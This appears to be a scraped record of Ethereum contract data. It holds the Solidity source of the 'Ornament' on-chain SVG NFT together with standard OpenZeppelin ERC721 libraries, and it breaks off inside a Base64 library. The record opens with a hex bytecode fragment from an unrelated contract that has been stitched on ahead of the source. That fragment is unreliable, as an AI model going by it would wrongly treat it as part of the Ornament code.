0316613be3565b600c54600160a060020a03165b9350600160a060020a038b1660008051602061416f83398151915214613c095786613c0b565b855b6001608060020a0316925060009150600260030154831015613c7a57600160a060020a03808e166000908152600e60209081526040808320938e1683529290522080546001608060020a038916019055829150613c6a848e8c8f613999565b1515613c7557600080fd5b613d1d565b83600160a060020a031663a590529e8d8989600260006040516040015260405163ffffffff86811660e060020a02825294851660048201526001608060020a039384166024820152919092166044820152911660648201526084016040805180830381600087803b1515613ced57600080fd5b6102c65a03f11515613cfe57600080fd5b50505060405180519060200180515090915050801515613d1d57600080fd5b7fd499cca7d46b5236c2cb522ceec930ccf485eefca1f0472c020a1b7328bf06438d8d600160a060020a038e1660008051602061416f8339815191521460008611604051600160a060020a03909416845263ffffffff9092166020840152151560408084019190915290151560608301526080909101905180910390a1613db98d8c8b6001608060020a03168b6001608060020a031686614004565b9d9c50505050505050505050505050565b60008083613de357600754600160a060020a0316613df3565b60008051602061416f8339815191525b90506000831215613e3557600160a060020a038581166000908152600e60209081526040808320938516835292905290812080549185900390910190556114fc565b600160a060020a038086166000908152600e602090815260408083209385168352929052205483901015613e6857600080fd5b600160a060020a038086166000908152600e602090815260408083209385168352929052208054849003905560019150509392505050565b6000806000831215613f155750600160a060020a0383166000908152601060205260408120549083900390811115613eed5750600160a060020a0383166000908152601060205260409020545b600160a060020a03841660009081526010602052604090208054829003905560019150613f80565b600160a060020a038416600090815260106020526040902054613f39908401611d7a565b600160a060020a0385166000908152600f60205260409020541015613f5d57600080fd5b600160a060020a0384166000908152601060205260409020805484019055600191505b5092915050565b81546000908190819063ffffffff9081169085161015613fa657600080fd5b845463ffffffff90811660200190851610613fc057600080fd5b50508254600184015463ffffffff9182169184169190910390600282900a90600090821611613fee57600080fd5b6001808601805483191690559250505092915050565b600080600160a060020a03861660008051602061416f8339815191521461402b578361402d565b845b600160a060020a038089166000908152600e60209081526040808320938b16835292905220805487019055905061406787848301836138be565b979650505050505050565b60206040519081016040526000815290565b60a0604051908101604090815260008083526020830181905290820181905260608201819052608082015290565b600160a060020a03811660008051602061416f83398151915214156140f257600160a060020a038116600090815260208190526040902060129055611d77565b80600160a060020a031663313ce5676000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561413857600080fd5b6102c65a03f1151561414957600080fd5b5050506040518051600160a060020a03831660009081526020819052604090205550505600000000000000000000000000eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeea165627a7a72305820ad1960dfd4c6a988541281679c98fe92cd561113dfc19f2af6e464bd89d41bc90029
[ 6, 7, 12 ]
0xF1B214702BeD6EC64843F55e5d566D8FfB3034Dd
/** _____________________________________________________________ | _________________________________________________________ | | | _____________________________________________________ | | | | | _________________________________________________ | | | | | | | _____________________________________________ | | | | | | | | | _________________________________________ | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |_________________________________________| | | | | | | | | | |_____________________________________________| | | | | | | | |_________________________________________________| | | | | | |_____________________________________________________| | | | |_________________________________________________________| | |_____________________________________________________________| Ornament, 2021 Jan Robert Leegte http://www.leegte.org "So to ward off the threat from the outside, the bad spirits, you needed to disperse signs of humanity around you. Small friendly tokens like embroidery, geraniums, curly woodcarvings painted in gold, silver or bright colours. Ornaments to enchant the wilderness, to control it, to frame it, to be able to handle it in daily life." - 2006 */ // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.6; import { Ownable } from '@openzeppelin/contracts/access/Ownable.sol'; import { ERC721 } from '@openzeppelin/contracts/token/ERC721/ERC721.sol'; import { ERC721Enumerable } from '@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol'; import { IERC721 } from '@openzeppelin/contracts/token/ERC721/IERC721.sol'; import '@openzeppelin/contracts/utils/Strings.sol'; import { Base64 } from 'base64-sol/base64.sol'; import 'hardhat/console.sol'; /// @author Jake Allen & Jan Robert Leegte contract Ornament is Ownable, ERC721Enumerable { using Strings for uint256; // Mint price & max supply uint256 public price = 0.23 ether; uint256 public maxTokens = 256; // Ornament data string[256] public svgData; // Base `external_url` in attributes string public baseUrl; // Toggle to permanently disable metadata updates bool public metadataFrozen; // Sale status. Toggle to enable minting. bool public saleActive = false; // SVG elements string private svgPart1 = '<svg xmlns="http://www.w3.org/2000/svg" width="800px" height="800px"><rect width="100%" height="100%" fill="silver"/><path fill="none" stroke="#444" d="'; string private svgPart2 = '"/><path fill="none" stroke="#FFF" d="'; string private svgPart3 = '"/></svg>'; // Internal tokenId tracker uint256 private _currentId; // Dev address. Set to owner's address to revoke. address private devAddress; event OrnamentCreated(uint256 indexed tokenId); event TokenUpdated(uint256 tokenId); /** * @notice Throws if called by an account other than the owner or dev. */ modifier onlyOwnerOrDev() { require(owner() == msg.sender || devAddress == msg.sender, "Caller is not owner or dev."); _; } constructor() ERC721('Ornament', unicode'▣') { baseUrl = "https://ornament.leegte.org/ornament.html?tokenid="; devAddress = 0x0EEb237e58824fa2c0836d4793aa835f99373bB7; } /** * @notice Update SVG and token metadata for a given tokenId. */ function updateToken( uint256 tokenId, string calldata _svgData ) external onlyOwnerOrDev { require(!metadataFrozen, "Metadata permanently frozen."); svgData[tokenId] = _svgData; emit TokenUpdated(tokenId); } /** * @notice Permanently freeze metadata updates. Caution, not reversable. */ function permanentlyFreezeMetadata() external onlyOwnerOrDev { metadataFrozen = true; } /** * @notice Withdraw contract balance to owner. */ function withdrawAll() external { uint256 amount = address(this).balance; require(payable(owner()).send(amount)); } /** * @notice Update the baseUrl in case of website change. * @dev Forms the first part of the `external_url` field in tokenURI. */ function updateBaseUrl(string calldata _baseUrl) external onlyOwnerOrDev { baseUrl = _baseUrl; } /** * @notice Disable/enable minting (but won't exceed maxTokens) * @dev Only callable by owner. */ function toggleSale() external onlyOwnerOrDev { saleActive = !saleActive; } /** * @notice Mint Ornaments to sender. */ function mint() external payable { require(saleActive, "Sale not active."); require(totalSupply() < maxTokens, "Maximum supply reached."); require(msg.value >= price, "Not enough Ether sent."); _mint(msg.sender, _currentId); emit OrnamentCreated(_currentId++); } /** * @notice Let team mint artist prints. */ function mintSpecial() external onlyOwnerOrDev { require(totalSupply() < maxTokens, "Maximum supply reached."); _mint(msg.sender, _currentId); emit OrnamentCreated(_currentId++); } /** * @notice Transfer tokenId to burn address. */ function burn(uint256 tokenId) external onlyOwnerOrDev { _burn(tokenId); } /** * @notice Compose on-chain tokenURI for Ornament. */ function tokenURI(uint256 tokenId) public view override returns (string memory) { require(_exists(tokenId), 'Nonexistent token.'); // Compose SVG paths and assemble final SVG ( string memory polyWhitePath, string memory polyBlackPath, string memory style, string memory lightness ) = composePaths(bytes(svgData[tokenId])); string memory svg = Base64.encode(abi.encodePacked( svgPart1, polyWhitePath, svgPart2, polyBlackPath, svgPart3 )); // Compose and return base 64 encoded JSON string string memory json = packJSONString(tokenId, svg, style, lightness, baseUrl); return string(abi.encodePacked('data:application/json;base64,', json)); } /** * @notice Compose both SVG path values from data string. */ function composePaths(bytes memory svgBytes) internal pure returns(string memory, string memory, string memory, string memory) { string memory polyWhitePath = 'M0 0'; string memory polyBlackPath = 'M0 0'; string memory firstChars; uint256 offset; uint256 length; // Iterate over 4 byte chunks and compose path strings for (uint256 i = 4; i < svgBytes.length; i+=4) { // Convert first 3 bytes to uint256 to get `length` and `offset` firstChars = string(abi.encodePacked(svgBytes[i], svgBytes[i+1], svgBytes[i+2])); offset = strToUint(firstChars); length = 800 - (2 * offset); // Compose path strings if (svgBytes[i + 3] == 'n') { polyBlackPath = string(abi.encodePacked(polyBlackPath, ' M', uintToStr(offset), ' ', uintToStr(offset + length), ' V', uintToStr(offset), ' H', uintToStr(offset + length))); polyWhitePath = string(abi.encodePacked(polyWhitePath, ' M', uintToStr(offset), ' ', uintToStr(offset + length), ' H', uintToStr(offset + length), ' V', uintToStr(offset))); } if (svgBytes[i + 3] == 'p') { polyBlackPath = string(abi.encodePacked(polyBlackPath, ' M', uintToStr(offset), ' ', uintToStr(offset + length), ' H', uintToStr(offset + length), ' V', uintToStr(offset))); polyWhitePath = string(abi.encodePacked(polyWhitePath, ' M', uintToStr(offset), ' ', uintToStr(offset + length), ' V', uintToStr(offset), ' H', uintToStr(offset + length))); } } // Calculate attributes // Frame width is first 4 bytes of string uint256 totalLeftMargins = strToUint(string(abi.encodePacked(svgBytes[0], svgBytes[1], svgBytes[2], svgBytes[3]))); string memory style; // Total bevels is the length of our SVG bytes, minus the first four (which // are for totalLeftMargins), divided by our 4 byte chunks string memory lightness = (totalLeftMargins / ((svgBytes.length - 4) / 4)).toString(); if (totalLeftMargins < 120) { style = 'sharp'; } else if (120 <= totalLeftMargins && totalLeftMargins < 300) { style = 'robust'; } else if (totalLeftMargins >= 300) { style = 'monumental'; } return (polyWhitePath, polyBlackPath, style, lightness); } /** * @notice Compose the final base 64 encoded JSON to return from `tokenURI`. */ function packJSONString( uint256 tokenId, string memory encodedSVG, string memory style, string memory lightness, string memory _baseUrl ) internal pure returns (string memory) { string memory name = string(abi.encodePacked('Ornament No. ', tokenId.toString())); string memory description = string(abi.encodePacked('Ornament is swapping the actors. The frame becoming the content. Ornament is an on-chain deterministically generated SVG. No. ', tokenId.toString(), ' / 256')); return Base64.encode(abi.encodePacked( '{"name":"', name, '", "description":"', description, '", "image":"data:image/svg+xml;base64,', encodedSVG, '", "attributes":[{"trait_type":"Style","value":"', style,'"}, {"trait_type": "Lightness", "value":"', lightness,'"}]', bytes(_baseUrl).length > 0 ? string(abi.encodePacked(', "external_url":"', _baseUrl,tokenId.toString(), '"')) : "",' }' )); } /** * @notice Utility to convert string to uint256. */ function strToUint(string memory _str) internal pure returns(uint256 res) { for (uint256 i = 0; i < bytes(_str).length; i++) { if ((uint8(bytes(_str)[i]) - 48) < 0 || (uint8(bytes(_str)[i]) - 48) > 9) { return 0; } res += (uint8(bytes(_str)[i]) - 48) * 10**(bytes(_str).length - i - 1); } return res; } /** * @notice Utility to convert uint256 to string. */ function uintToStr(uint _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint j = _i; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len; while (_i != 0) { k = k-1; uint8 temp = (48 + uint8(_i - _i / 10 * 10)); bytes1 b1 = bytes1(temp); bstr[k] = b1; _i /= 10; } return string(bstr); } /** * @notice Update dev address. To revoke, set to owner's address. */ function updateDevAddress(address _address) external onlyOwnerOrDev { devAddress = _address; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0; /// @title Base64 /// @author Brecht Devos - <[email protected]> /// @notice Provides functions for encoding/decoding base64 library Base64 { string internal constant TABLE_ENCODE = 